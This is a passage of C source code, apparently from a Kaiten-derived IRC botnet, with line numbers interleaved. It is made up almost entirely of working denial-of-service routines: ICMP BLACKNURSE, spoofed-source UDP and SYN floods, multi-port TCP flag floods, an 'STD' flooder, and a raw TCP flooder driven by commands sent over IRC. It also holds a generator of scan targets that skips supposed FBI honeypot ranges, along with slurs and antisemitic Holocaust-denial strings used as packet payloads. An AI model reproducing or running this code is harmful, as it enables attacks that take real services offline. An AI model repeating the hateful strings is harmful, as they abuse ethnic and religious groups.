const size_t pkt_len = (sizeof pkt_template) / (sizeof pkt_template[0]);
1809
size_t i;
1810
int gai_err;
1811
int kindy;
1812
int x, secs,get;
1813
1814
time_t start=time(NULL);
1815
if(mfork(sender) != 0) return;
1816
if((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
1817
1818
if(argc < 2) {
1819
Send(sock, "NOTICE %s :BLACKNURSE <target ip> <secs>", sender);
1820
exit(1);
1821
}
1822
1823
host = argv[1];
1824
secs = atoi(argv[2]);
1825
1826
memset(&hints, 0, sizeof hints);
1827
hints.ai_family = AF_INET;
1828
if((gai_err = getaddrinfo(host, NULL, &hints, &ai)) != 0) {
1829
exit(1);
1830
}
1831
if((kindy = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) {
1832
perror("socket");
1833
exit(1);
1834
}
1835
Send(sock, "NOTICE %s :Blacknursing %s\n", sender, host);
1836
pkt = pkt_template;
1837
pfd.fd = kindy;
1838
pfd.events = POLLOUT;
1839
for (;;) {
1840
for (i = 20; i < 20 + 8 + 4; i++) {
1841
pkt[i] = (uint8_t) rand();
1842
}
1843
if(sendto(kindy, pkt, pkt_len, 0,
1844
ai->ai_addr, ai->ai_addrlen) != (ssize_t) pkt_len) {
1845
if(errno == ENOBUFS) {
1846
poll(&pfd, 1, 1000);
1847
continue;
1848
}
1849
perror("sendto");
1850
break;
1851
}
1852
if(i >= 100) {
1853
if(time(NULL) >= start+secs) exit(0);
1854
x=0;
1855
}
1856
x++;
1857
}
1858
/* NOTREACHED */
1859
close(kindy);
1860
freeaddrinfo(ai);
1861
1862
return;
1863
}
1864
1865
void udp(int sock, char *sender, int argc, char **argv) {
1866
unsigned int port,i=0;
1867
unsigned long psize,target,secs;
1868
struct sockaddr_in s_in;
1869
struct iphdr *ip;
1870
struct udphdr *udp;
1871
char buf[1500],*str;
1872
int get;
1873
time_t start=time(NULL);
1874
if(mfork(sender) != 0) return;
1875
if((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
1876
if(argc < 3) {
1877
Send(sock, "NOTICE %s :UDP <target> <port> <secs>\n", sender);
1878
exit(1);
1879
}
1880
target = host2ip(sender,argv[1]);
1881
port = atoi(argv[2]);
1882
secs = atol(argv[3]);
1883
ip=(void*)buf;
1884
udp=(void*)(buf+sizeof(struct iphdr));
1885
str=(void*)(buf+sizeof(struct iphdr)+sizeof(struct udphdr));
1886
memset(str,10,1500-(sizeof(struct iphdr)+sizeof(struct udphdr)));
1887
Send(sock, "NOTICE %s :Packeting %s\n", sender,argv[1]);
1888
ip->ihl = 5;
1889
ip->version = 4;
1890
ip->tos = 0;
1891
ip->tot_len = 1500;
1892
ip->frag_off = 0;
1893
ip->protocol = 17;
1894
ip->ttl = 64;
1895
ip->daddr = target;
1896
udp->len = htons(psize);
1897
s_in.sin_family = AF_INET;
1898
s_in.sin_addr.s_addr = target;
1899
for (;;) {
1900
udp->source = rand();
1901
if(port) udp->dest = htons(port);
1902
else udp->dest = rand();
1903
udp->check = in_cksum((u_short *)buf,1500);
1904
ip->saddr = getspoof();
1905
ip->id = rand();
1906
ip->check = in_cksum((u_short *)buf,1500);
1907
s_in.sin_port = udp->dest;
1908
sendto(get,buf,1500,0,(struct sockaddr *)&s_in,sizeof(s_in));
1909
if(i >= 100) {
1910
if(time(NULL) >= start+secs) exit(0);
1911
i=0;
1912
}
1913
i++;
1914
}
1915
}
1916
void pan(int sock, char *sender, int argc, char **argv) {
1917
struct send_tcp send_tcp;
1918
struct pseudo_header pseudo_header;
1919
struct sockaddr_in sin;
1920
unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
1921
unsigned int psize=20, source, dest, check;
1922
unsigned long saddr, daddr,secs;
1923
time_t start=time(NULL);
1924
if(mfork(sender) != 0) return;
1925
int get;
1926
if((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
1927
if(argc < 3) {
1928
Send(sock, "NOTICE %s :PAN <target> <port> <secs>\n", sender);
1929
exit(1);
1930
}
1931
{int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
1932
daddr=host2ip(sender,argv[1]);
1933
secs=atol(argv[3]);
1934
Send(sock, "NOTICE %s :Panning %s\n", sender,argv[1]);
1935
send_tcp.ip.ihl = 5;
1936
send_tcp.ip.version = 4;
1937
send_tcp.ip.tos = 16;
1938
send_tcp.ip.frag_off = 64;
1939
send_tcp.ip.ttl = 64;
1940
send_tcp.ip.protocol = 6;
1941
send_tcp.tcp.ack_seq = 0;
1942
send_tcp.tcp.doff = 10;
1943
send_tcp.tcp.res1 = 0;
1944
send_tcp.tcp.urg = 0;
1945
send_tcp.tcp.ack = 0;
1946
send_tcp.tcp.psh = 0;
1947
send_tcp.tcp.rst = 0;
1948
send_tcp.tcp.fin = 0;
1949
send_tcp.tcp.syn = 1;
1950
send_tcp.tcp.window = 2048;
1951
send_tcp.tcp.urg_ptr = 0;
1952
dest=htons(atoi(argv[2]));
1953
srand(time(NULL) + getpid());
1954
while(1) {
1955
if(atoi(argv[2]) == 0) dest=rand();
1956
source=getspoof();
1957
send_tcp.ip.tot_len = htons(40+psize);
1958
send_tcp.ip.id = rand();
1959
send_tcp.ip.saddr = source;
1960
send_tcp.ip.daddr = daddr;
1961
send_tcp.tcp.source = source;
1962
send_tcp.tcp.dest = dest;
1963
send_tcp.tcp.seq = rand();
1964
sin.sin_port = dest;
1965
sin.sin_addr.s_addr = send_tcp.ip.daddr;
1966
send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
1967
check = rand();
1968
send_tcp.buf[9]=((char*)&check)[0];
1969
send_tcp.buf[10]=((char*)&check)[1];
1970
send_tcp.buf[11]=((char*)&check)[2];
1971
send_tcp.buf[12]=((char*)&check)[3];
1972
pseudo_header.source_address = send_tcp.ip.saddr;
1973
pseudo_header.dest_address = send_tcp.ip.daddr;
1974
pseudo_header.placeholder = 0;
1975
pseudo_header.protocol = IPPROTO_TCP;
1976
pseudo_header.tcp_length = htons(20+psize);
1977
bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
1978
bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
1979
send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
1980
sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
1981
if(a >= 100) {
1982
if(time(NULL) >= start+secs) exit(0);
1983
a=0;
1984
}
1985
a++;
1986
}
1987
close(get);
1988
exit(0);
1989
}
1990
1991
void phatwonk(int sock, char *sender, int argc, char **argv) {
1992
// Phatwonk attack coded by Freak
1993
// Based off of PAN, modified to attack on 31 portz
1994
// You can set ANY TCP flag!
1995
// You can attack with xmas, all flags at once, usyn (urg syn), and any TCP flag combination you wish!
1996
// It's very hard to block and can down virtually every service at once
1997
struct send_tcp send_tcp;
1998
struct pseudo_header pseudo_header;
1999
struct sockaddr_in sin;
2000
unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
2001
unsigned int psize=20, source, dest, check;
2002
unsigned long saddr, daddr,secs;
2003
unsigned int portz[] = { 21,22,23,25,53,80,81,88,110,113,119,135,137,139,143,443,445,1024,1025,1433,1500,1720,3128,3306,3389,5000,5900,6667,6697,8000,8080 };
2004
int howmanyportz = NUMITEMS(portz);
2005
time_t start=time(NULL);
2006
if(mfork(sender) != 0) return;
2007
int get;
2008
if((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
2009
if(argc < 3) {
2010
Send(sock, "NOTICE %s :PHATWONK <target> <flags/method> <secs>\n", sender);
2011
exit(1);
2012
}
2013
{int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
2014
daddr=host2ip(sender,argv[1]);
2015
secs=atol(argv[3]);
2016
Send(sock, "NOTICE %s :Phatwonking %s\n", sender,argv[1]);
2017
// Start preparing RAW TCP socket
2018
sin.sin_family = AF_INET;
2019
send_tcp.ip.ihl = 5;
2020
send_tcp.ip.version = 4;
2021
send_tcp.ip.tos = 16;
2022
send_tcp.ip.frag_off = 64;
2023
send_tcp.ip.ttl = 64;
2024
send_tcp.ip.protocol = 6;
2025
send_tcp.tcp.ack_seq = 0;
2026
send_tcp.tcp.doff = 10;
2027
send_tcp.tcp.res1 = 0;
2028
send_tcp.tcp.urg = 0;
2029
send_tcp.tcp.ack = 0;
2030
send_tcp.tcp.psh = 0;
2031
send_tcp.tcp.syn = 0;
2032
send_tcp.tcp.fin = 0;
2033
send_tcp.tcp.rst = 0;
2034
send_tcp.tcp.urg_ptr = 0;
2035
if(!strcmp(argv[2], "all")) {
2036
send_tcp.tcp.syn = 1;
2037
send_tcp.tcp.rst = 1;
2038
send_tcp.tcp.fin = 1;
2039
send_tcp.tcp.ack = 1;
2040
send_tcp.tcp.psh = 1;
2041
send_tcp.tcp.urg = 1;
2042
} else if(!strcmp(argv[2], "xmas")) {
2043
send_tcp.tcp.fin = 1;
2044
send_tcp.tcp.psh = 1;
2045
send_tcp.tcp.urg = 1;
2046
} else if(!strcmp(argv[2], "usyn")) {
2047
send_tcp.tcp.syn = 1;
2048
send_tcp.tcp.urg = 1;
2049
} else {
2050
unsigned char *pch = strtok(argv[2], ",");
2051
while(pch) {
2052
if(!strcmp(pch, "syn")) { send_tcp.tcp.syn = 1;
2053
} else if(!strcmp(pch, "rst")) { send_tcp.tcp.rst = 1;
2054
} else if(!strcmp(pch, "fin")) { send_tcp.tcp.fin = 1;
2055
} else if(!strcmp(pch, "ack")) { send_tcp.tcp.ack = 1;
2056
} else if(!strcmp(pch, "psh")) { send_tcp.tcp.psh = 1;
2057
} else if(!strcmp(pch, "urg")) { send_tcp.tcp.urg = 1;
2058
} else {
2059
}
2060
pch = strtok(NULL, ",");
2061
}
2062
}
2063
send_tcp.tcp.window = 2048;
2064
send_tcp.ip.daddr = daddr;
2065
sin.sin_addr.s_addr = send_tcp.ip.daddr;
2066
send_tcp.ip.check = 0;
2067
send_tcp.tcp.check = 0;
2068
pseudo_header.dest_address = send_tcp.ip.daddr;
2069
pseudo_header.placeholder = 0;
2070
2071
while(1) {
2072
dest = portz[realrand(0, howmanyportz)];
2073
source=getspoof();
2074
send_tcp.ip.tot_len = htons(40+psize);
2075
send_tcp.ip.id = rand();
2076
send_tcp.ip.saddr = source;
2077
send_tcp.ip.daddr = daddr;
2078
send_tcp.tcp.source = source;
2079
send_tcp.tcp.dest = dest;
2080
send_tcp.tcp.seq = rand();
2081
sin.sin_port = dest;
2082
sin.sin_addr.s_addr = send_tcp.ip.daddr;
2083
send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
2084
check = rand();
2085
send_tcp.buf[9]=((char*)&check)[0];
2086
send_tcp.buf[10]=((char*)&check)[1];
2087
send_tcp.buf[11]=((char*)&check)[2];
2088
send_tcp.buf[12]=((char*)&check)[3];
2089
pseudo_header.source_address = send_tcp.ip.saddr;
2090
pseudo_header.protocol = IPPROTO_TCP;
2091
pseudo_header.tcp_length = htons(20+psize);
2092
bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
2093
bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
2094
send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
2095
sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
2096
if(a >= 100) {
2097
if(time(NULL) >= start+secs) exit(0);
2098
a=0;
2099
}
2100
a++;
2101
}
2102
close(get);
2103
exit(0);
2104
}
2105
2106
void makeRandomShit(unsigned char *buf, int length) {
2107
srand(time(NULL));
2108
int i = 0;
2109
for(i = 0; i < length; i++) buf[i] = (rand() % 255) + 1;
2110
}
2111
2112
void unknown(int sock, char *sender, int argc, char **argv) {
2113
/*
2114
Non spoof UDP flooder modded by Freak/SynthMesc
2115
Now has port and packetsize options
2116
and an option for random port and packetsize! (just enter 0)
2117
Each packet is unique!
2118
Cheers homies.
2119
only shout iz here and it is to:
2120
kod for all the help you gave me and showing me kaiten in the first place!
2121
luv u bb <3
2122
*/
2123
int fd,i,packetsize,index;
2124
// int flag = 1;
2125
int randport = 0;
2126
int randsize = 0;
2127
unsigned long secs;
2128
struct hostent *hp;
2129
struct sockaddr_in in;
2130
time_t start = time(NULL);
2131
char *packsize;
2132
2133
if(argc < 4) {
2134
Send(sock, "NOTICE %s :UNKNOWN <target> <port, 0 for random> <packet size, 0 for random> <secs>\n", sender);
2135
exit(1);
2136
}
2137
2138
if(mfork(sender) != 0) return;
2139
2140
unsigned char *packet = malloc(1024);
2141
memset(packet, 0, 1024);
2142
2143
if(!strcmp(argv[2],"0")) {
2144
randport = 1;
2145
}
2146
2147
if(!strcmp(argv[3],"0")) {
2148
randsize = 1;
2149
packsize = "random";
2150
} else {
2151
packsize = argv[3];
2152
}
2153
2154
srand(time(NULL));
2155
2156
secs=atol(argv[4]);
2157
memset((void*)&in,0,sizeof(struct sockaddr_in));
2158
2159
in.sin_addr.s_addr=host2ip(sender,argv[1]);
2160
in.sin_family = AF_INET;
2161
2162
if(randport == 0) {
2163
in.sin_port = htons(atoi(argv[2]));
2164
packsize = argv[3];
2165
}
2166
2167
Send(sock, "NOTICE %s :Unknowning %s:%s with packet size %s\n", sender, argv[1], argv[2], packsize);
2168
while(1) {
2169
if(randport == 1) {
2170
in.sin_port = htons(realrand(1026, 65535));
2171
}
2172
2173
if(randsize == 1) {
2174
makeRandomShit(packet, realrand(64, 1024));
2175
} else {
2176
makeRandomShit(packet, atoi(argv[3]));
2177
}
2178
2179
if((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
2180
else {
2181
// ioctl(fd, FIONBIO, &flag); whoever did this was fucking retarded lmao
2182
sendto(fd, packet, strlen(packet), 0, (struct sockaddr*)&in, sizeof(in));
2183
close(fd);
2184
}
2185
if(i >= 100) {
2186
if(time(NULL) >= start+secs) {
2187
break;
2188
} else {
2189
i=0;
2190
}
2191
}
2192
i++;
2193
}
2194
close(fd);
2195
exit(0);
2196
}
2197
2198
int listFork() {
2199
uint32_t parent, *newpids, i;
2200
parent = fork();
2201
if(parent <= 0) return parent;
2202
numpids++;
2203
newpids = (uint32_t*)malloc((numpids + 1) * 4);
2204
for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
2205
newpids[numpids - 1] = parent;
2206
free(pids);
2207
pids = newpids;
2208
return parent;
2209
}
2210
2211
2212
void SendTheSTD(unsigned char *ip, int port, int secs) { // Faster STD attack with absolutely fucking hilarious packets. Modded by Freak
2213
int iSTD_Sock;
2214
iSTD_Sock = socket (AF_INET, SOCK_DGRAM, 0);
2215
time_t start = time (NULL);
2216
struct sockaddr_in sin;
2217
struct hostent *hp;
2218
hp = gethostbyname (ip);
2219
bzero ((char *) &sin, sizeof (sin));
2220
bcopy (hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
2221
sin.sin_family = hp->h_addrtype;
2222
char *STD_STRING = "KEKSTD"; // this value never gets sent. just a placeholder. lawl
2223
unsigned int a = 0;
2224
int targetPort;
2225
char *randstrings[] = {
2226
"std", "dts", "lsk",
2227
"kek", "smack", "ily",
2228
"tfw no gf", "frienzoned",
2229
"tyf", "pos", "cunts", "NullzSec", "NullzSec rox", "NullzSec ROX",
2230
"get raped", "not a ddos packet", "also not a ddos packet", "seriously not a ddos packet",
2231
"GET / HTTP/1.1\r\nHost: goatse.info\r\n\r\n", "GET / HTTP/1.1\r\nHost: tubgirl.ca\r\n\r\n",
2232
"GET / HTTP/1.0\r\nHost: goatse.info\r\n\r\n", "GET / HTTP/1.0\r\nHost: tubgirl.ca\r\n\r\n",
2233
"8======D~~~~~~~","suck it", "give succ",
2234
"big nigger dick 8============================D", "( . Y . ) tiddies",
2235
"bigNullz", "eye pee rape", "eye pee address rape", "IP rape", "eye pee address rape",
2236
"This is LOIC", "LOIC", "HOIC", "XOIC", "LHXOIC", "A cat is fine too. Desudesudesu~", // LOIC packets. KEKEK
2237
"the biiiiig pussy", "benis" , "penis", "dick", "vagina", "clitoris", "pussy", "tfw", ":^}", "dic pic?", "send nudes",
2238
"https://youtu.be/dQw4w9WgXcQ", "Never gonna give you up",
2239
"Never gonna make you cry", "Never gonna let you die", "Never gonna hurt you",
2240
"bush did 9/11", "jet fuel can't melt steel beams", "9/11 was an inside job",
2241
"the illuminati is real", "wake up sheep", "i flex like david ike", "6 million jews? show me the proof!",
2242
"T R I G G E R E D", "my gf killed herself", "free masons suck cock", "ihatejews", "urgay", "tfw u like dick", "dickbutt",
2243
"The elusive dickbut", "Heyyy that's pretty gooood", "NSA sucks cock", "FBI sucks cock", "You name it they suck cock"
2244
"What am I doing with my life", "Oh yeah I like nulling shit", "HIIYYOOOOOOO (Customgrow420)", "Keemstar is a fucking knome", "Leafy is gawd <3",
2245
"Ourmine is full of skids", "STC is the greatest"
2246
};
2247
while(1) {
2248
if(port == 0) {
2249
targetPort = realrand(1, 65535);
2250
} else {
2251
targetPort = port;
2252
}
2253
STD_STRING = randstrings[rand () % (sizeof (randstrings) / sizeof (char *))];
2254
sin.sin_port = targetPort;
2255
connect(iSTD_Sock, (struct sockaddr *) &sin, sizeof (sin));
2256
send(iSTD_Sock, STD_STRING, strlen(STD_STRING), 0);
2257
if(a >= 100) {
2258
if(time(NULL) >= start + secs) {
2259
close(iSTD_Sock);
2260
_exit(0);
2261
}
2262
a = 0;
2263
}
2264
a++;
2265
2266
}
2267
}
2268
2269
void sendSTD(int sock, char *sender, int argc, char **argv) {
2270
//!* STD TARGET PORT TIME
2271
if(mfork(sender) != 0) return;
2272
if(argc < 3) {
2273
Send(sock, "NOTICE %s :STD <ip> <port> <time>\n", sender);
2274
exit(1);
2275
}
2276
unsigned char *ip = argv[1];
2277
int port = atoi(argv[2]);
2278
int time = atoi(argv[3]);
2279
if(strstr(ip, ",") != NULL) {
2280
unsigned char *hi = strtok(ip, ",");
2281
while(hi != NULL) {
2282
if(!listFork()) {
2283
Send(sock, "NOTICE %s :STD attacking %s:%s\n", sender,hi,argv[2]);
2284
SendTheSTD(hi, port, time);
2285
_exit(0);
2286
}
2287
hi = strtok(NULL, ",");
2288
}
2289
} else {
2290
if(listFork()) {
2291
exit(1);
2292
}
2293
Send(sock, "NOTICE %s :STD attacking %s:%s\n", sender,argv[1],argv[2]);
2294
SendTheSTD(ip, port, time);
2295
_exit(0);
2296
}
2297
}
2298
2299
struct sa_in {
2300
unsigned short int sin_family, sin_port;
2301
struct {
2302
unsigned int s_addr;
2303
}
2304
sin_addr;
2305
unsigned char sin_zero[8];
2306
};
2307
2308
int get_iface_ip(struct sockaddr_in *ip, char *iface)
2309
{
2310
int fd;
2311
struct ifreq ifr;
2312
fd = socket(AF_INET, SOCK_DGRAM, 0);
2313
ifr.ifr_addr.sa_family = AF_INET;
2314
strncpy(ifr.ifr_name, iface, IFNAMSIZ - 1);
2315
int ret = ioctl(fd, SIOCGIFADDR, &ifr);
2316
if(ret != 0)
2317
{
2318
return 0;
2319
}
2320
close(fd);
2321
ip->sin_family = AF_INET;
2322
ip->sin_addr = ((struct sockaddr_in*)&ifr.ifr_addr)->sin_addr;
2323
return 1;
2324
}
2325
2326
int getHost(unsigned char *toGet, struct in_addr *i) {
2327
struct hostent *h;
2328
if((i->s_addr = inet_addr(toGet)) == -1) return 1;
2329
return 0;
2330
}
2331
2332
void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize) {
2333
iph->ihl = 5;
2334
iph->version = 4;
2335
iph->tos = 0;
2336
iph->tot_len = sizeof(struct iphdr) + packetSize;
2337
iph->id = rand_cmwc();
2338
iph->frag_off = 0;
2339
iph->ttl = MAXTTL;
2340
iph->protocol = protocol;
2341
iph->check = 0;
2342
iph->saddr = source;
2343
iph->daddr = dest;
2344
}
2345
2346
struct tcp_thread_data{
2347
unsigned char *target;
2348
int port;
2349
int secs;
2350
unsigned char *flags;
2351
int packetsize;
2352
int pollinterval;
2353
int spoofit;
2354
};
2355
2356
static void printchar(unsigned char **str, int c) {
2357
if(str) {
2358
**str = c;
2359
++(*str);
2360
}
2361
else (void)write(1, &c, 1);
2362
}
2363
static int prints(unsigned char **out, const unsigned char *string, int width, int pad) {
2364
register int pc = 0, padchar = ' ';
2365
if(width > 0) {
2366
register int len = 0;
2367
register const unsigned char *ptr;
2368
for (ptr = string; *ptr; ++ptr) ++len;
2369
if(len >= width) width = 0;
2370
else width -= len;
2371
if(pad & PAD_ZERO) padchar = '0';
2372
}
2373
if(!(pad & PAD_RIGHT)) {
2374
for ( ; width > 0; --width) {
2375
printchar (out, padchar);
2376
++pc;
2377
}
2378
}
2379
for ( ; *string ; ++string) {
2380
printchar (out, *string);
2381
++pc;
2382
}
2383
for ( ; width > 0; --width) {
2384
printchar (out, padchar);
2385
++pc;
2386
}
2387
return pc;
2388
}
2389
static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) {
2390
unsigned char print_buf[PRINT_BUF_LEN];
2391
register unsigned char *s;
2392
register int t, neg = 0, pc = 0;
2393
register unsigned int u = i;
2394
if(i == 0) {
2395
print_buf[0] = '0';
2396
print_buf[1] = '\0';
2397
return prints (out, print_buf, width, pad);
2398
}
2399
if(sg && b == 10 && i < 0) {
2400
neg = 1;
2401
u = -i;
2402
}
2403
2404
s = print_buf + PRINT_BUF_LEN-1;
2405
*s = '\0';
2406
while(u) {
2407
t = u % b;
2408
if( t >= 10 )
2409
t += letbase - '0' - 10;
2410
*--s = t + '0';
2411
u /= b;
2412
}
2413
if(neg) {
2414
if( width && (pad & PAD_ZERO) ) {
2415
printchar (out, '-');
2416
++pc;
2417
--width;
2418
}
2419
else {
2420
*--s = '-';
2421
}
2422
}
2423
2424
return pc + prints (out, s, width, pad);
2425
}
2426
static int print(unsigned char **out, const unsigned char *format, va_list args ) {
2427
register int width, pad;
2428
register int pc = 0;
2429
unsigned char scr[2];
2430
for (; *format != 0; ++format) {
2431
if(*format == '%') {
2432
++format;
2433
width = pad = 0;
2434
if(*format == '\0') break;
2435
if(*format == '%') goto out;
2436
if(*format == '-') {
2437
++format;
2438
pad = PAD_RIGHT;
2439
}
2440
while(*format == '0') {
2441
++format;
2442
pad |= PAD_ZERO;
2443
}
2444
for ( ; *format >= '0' && *format <= '9'; ++format) {
2445
width *= 10;
2446
width += *format - '0';
2447
}
2448
if( *format == 's' ) {
2449
register char *s = (char *)va_arg( args, int );
2450
pc += prints (out, s?s:"(null)", width, pad);
2451
continue;
2452
}
2453
if( *format == 'd' ) {
2454
pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
2455
continue;
2456
}
2457
if( *format == 'x' ) {
2458
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
2459
continue;
2460
}
2461
if( *format == 'X' ) {
2462
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
2463
continue;
2464
}
2465
if( *format == 'u' ) {
2466
pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
2467
continue;
2468
}
2469
if( *format == 'c' ) {
2470
scr[0] = (unsigned char)va_arg( args, int );
2471
scr[1] = '\0';
2472
pc += prints (out, scr, width, pad);
2473
continue;
2474
}
2475
}
2476
else {
2477
out:
2478
printchar (out, *format);
2479
++pc;
2480
}
2481
}
2482
if(out) **out = '\0';
2483
va_end( args );
2484
return pc;
2485
}
2486
2487
int szprintf(unsigned char *out, const unsigned char *format, ...) {
2488
va_list args;
2489
va_start( args, format );
2490
return print( &out, format, args );
2491
}
2492
2493
char *thanks = "thanks to unhappygh0st for the honeypot ip ranges :)";
2494
2495
in_addr_t getRandomPublicIP()
2496
{
2497
uint8_t ipState[4] = {0};
2498
ipState[0] = rand() % 224;
2499
ipState[1] = rand() % 255;
2500
ipState[2] = rand() % 255;
2501
ipState[3] = rand() % 255;
2502
2503
while(
2504
(ipState[0] == 0) ||
2505
(ipState[0] == 10) ||
2506
(ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
2507
(ipState[0] == 127) ||
2508
(ipState[0] == 169 && ipState[1] == 254) ||
2509
(ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
2510
(ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
2511
(ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
2512
(ipState[0] == 192 && ipState[1] == 168) ||
2513
(ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
2514
(ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
2515
(ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
2516
(ipState[0] == 62 && ipState[1] <= 30) || //Honeypot
2517
(ipState[0] == 207 && ipState[1] >= 31 && ipState[2] <= 120) || //FBI Honeypots (207.31.0.0 - 207.120.255.255)
2518
(ipState[0] == 65 ) && (ipState[1] >= 224) && (ipState[2] <= 226) || // More FBI Honeypots (64.224.0.0 - 64.226.255.255)
2519
(ipState[0] == 195) && (ipState[1] == 10) || //Yet another FBI Honeypot.
2520
(ipState[0] == 216) && (ipState[1] == 25 || ipState[1] == 94) || //Fucking nigger LOL (FBI Honeypots)
2521
(ipState[0] == 212) && (ipState[1] == 56) //The fuck?! 212.56.107.22 - uhhhhm. FBI Honeypot.
2522
)
2523
{
2524
ipState[0] = rand() % 224;
2525
ipState[1] = rand() % 255;
2526
ipState[2] = rand() % 255;
2527
ipState[3] = rand() % 255;
2528
}
2529
2530
char ip[16] = {0};
2531
szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
2532
return inet_addr(ip);
2533
}
2534
2535
void SendTCP(void *par1) {
2536
if(listFork()) return;
2537
struct tcp_thread_data *td = (struct thread_data *)par1;
2538
unsigned char *target = td->target;
2539
int port = td->port;
2540
int timeEnd = td->secs;
2541
unsigned char *flags = td->flags;
2542
int packetsize = td->packetsize;
2543
int pollinterval = td->pollinterval;
2544
int spoofit = td->spoofit;
2545
2546
register unsigned int pollRegister;
2547
pollRegister = pollinterval;
2548
struct sockaddr_in dest_addr;
2549
dest_addr.sin_family = AF_INET;
2550
if(port == 0) dest_addr.sin_port = rand_cmwc();
2551
else dest_addr.sin_port = htons(port);
2552
if(getHost(target, &dest_addr.sin_addr)) return;
2553
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
2554
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
2555
if(!sockfd) { return; }
2556
int tmp = 1;
2557
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) { return; }
2558
in_addr_t netmask;
2559
if( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
2560
else netmask = ( ~((1 << (32 - spoofit)) - 1) );
2561
unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
2562
struct iphdr *iph = (struct iphdr *)packet;
2563
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
2564
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getspoof() ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
2565
tcph->source = rand_cmwc();
2566
tcph->seq = rand_cmwc();
2567
tcph->ack_seq = 0;
2568
tcph->doff = 5;
2569
if(!strcmp(flags, "all")) {
2570
tcph->syn = 1;
2571
tcph->rst = 1;
2572
tcph->fin = 1;
2573
tcph->ack = 1;
2574
tcph->psh = 1;
2575
tcph->urg = 1;
2576
} else if(!strcmp(flags, "xmas")) {
2577
tcph->fin = 1;
2578
tcph->psh = 1;
2579
tcph->urg = 1;
2580
} else if(!strcmp(flags, "usyn")) {
2581
tcph->syn = 1;
2582
tcph->urg = 1;
2583
} else {
2584
unsigned char *pch = strtok(flags, ",");
2585
while(pch) {
2586
if(!strcmp(pch, "syn")) { tcph->syn = 1;
2587
} else if(!strcmp(pch, "rst")) { tcph->rst = 1;
2588
} else if(!strcmp(pch, "fin")) { tcph->fin = 1;
2589
} else if(!strcmp(pch, "ack")) { tcph->ack = 1;
2590
} else if(!strcmp(pch, "psh")) { tcph->psh = 1;
2591
} else if(!strcmp(pch, "urg")) { tcph->urg = 1;
2592
} else {
2593
}
2594
pch = strtok(NULL, ",");
2595
}
2596
}
2597
tcph->window = 2048;
2598
tcph->check = 0;
2599
tcph->urg_ptr = 0;
2600
tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
2601
tcph->check = csum(iph, tcph);
2602
iph->check = csum ((unsigned short *) packet, iph->tot_len);
2603
int end = time(NULL) + timeEnd;
2604
register unsigned int i = 0;
2605
while(1) {
2606
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
2607
iph->saddr = getspoof();
2608
iph->id = rand_cmwc();
2609
tcph->seq = rand_cmwc();
2610
tcph->source = rand_cmwc();
2611
tcph->check = 0;
2612
tcph->check = csum(iph, tcph);
2613
iph->check = csum ((unsigned short *) packet, iph->tot_len);
2614
if(i == pollRegister) {
2615
if(time(NULL) > end) break;
2616
i = 0;
2617
continue;
2618
}
2619
i++;
2620
}
2621
}
2622
2623
void tcpflood(int sock, char *sender, int argc, char **argv) { // Advanced TCP flooder. Multithreading/SynthMesc.
2624
if(mfork(sender) != 0) return;
2625
if(argc < 7 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || (argc > 5 && atoi(argv[5]) < 0) || (argc == 7 && atoi(argv[6]) < 1)) {
2626
Send(sock, "NOTICE %s :TCP <target> <port> <time> <flags/method> <packetsize> <pollinterval> <threads>\n", sender);
